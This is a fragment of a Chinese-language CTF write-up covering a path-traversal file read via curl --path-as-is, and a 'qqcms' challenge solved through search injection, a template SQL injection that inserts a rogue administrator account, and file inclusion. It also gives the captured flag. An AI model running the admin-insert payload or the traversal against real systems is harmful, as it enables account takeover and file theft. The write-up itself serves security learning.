好像什么都没过滤?curl http://39.106.131.193:35800/./flag --path-as-is

直接看源码,发现了index路由下存在文件读取漏洞,并且过滤了p字符。


直接尝试读取文件。

 

 

成功,然后读取flag(这题真阴间,说是在work目录下,读了半个小时才出了)

Flag为:flag{3bb4b58b-4ef3-4995-afda-6fdba3485ba5}

 

qqcms 

首先在搜索框发现注入点。

在这里插入图片描述

发现后台

在这里插入图片描述

 

代码审计,找到后台路由是/index/admin

有历史漏洞,直接SQL注入改密码{{loop sql=‘INSERT INTO qc_user VALUES (666, 16666666666, “管理员”, “”,

“e10adc3949ba59abbe56e057f20f883e”, “”, “”, 1, “”, 2, 0.00, 0, 1, 1652334396, “127.0.0.1”, 1, 1, 1, 1652334410,

“127.0.0.1”)’}}{{/loop}}

 

登陆后在后台发现文件包含漏洞。

img

 

 

 

 

 

参考连接:

https://blog.csdn.net/OrientalGlass/article/details/130956132

https://blog.csdn.net/m0_68757308/article/details/130773663

https://blog.csdn.net/qq_43647197/article/details/130775040?

https://www.cnblogs.com/ZimaBlue/articles/17419282.html

https://blog.csdn.net/akxnxbshai/article/details/130772174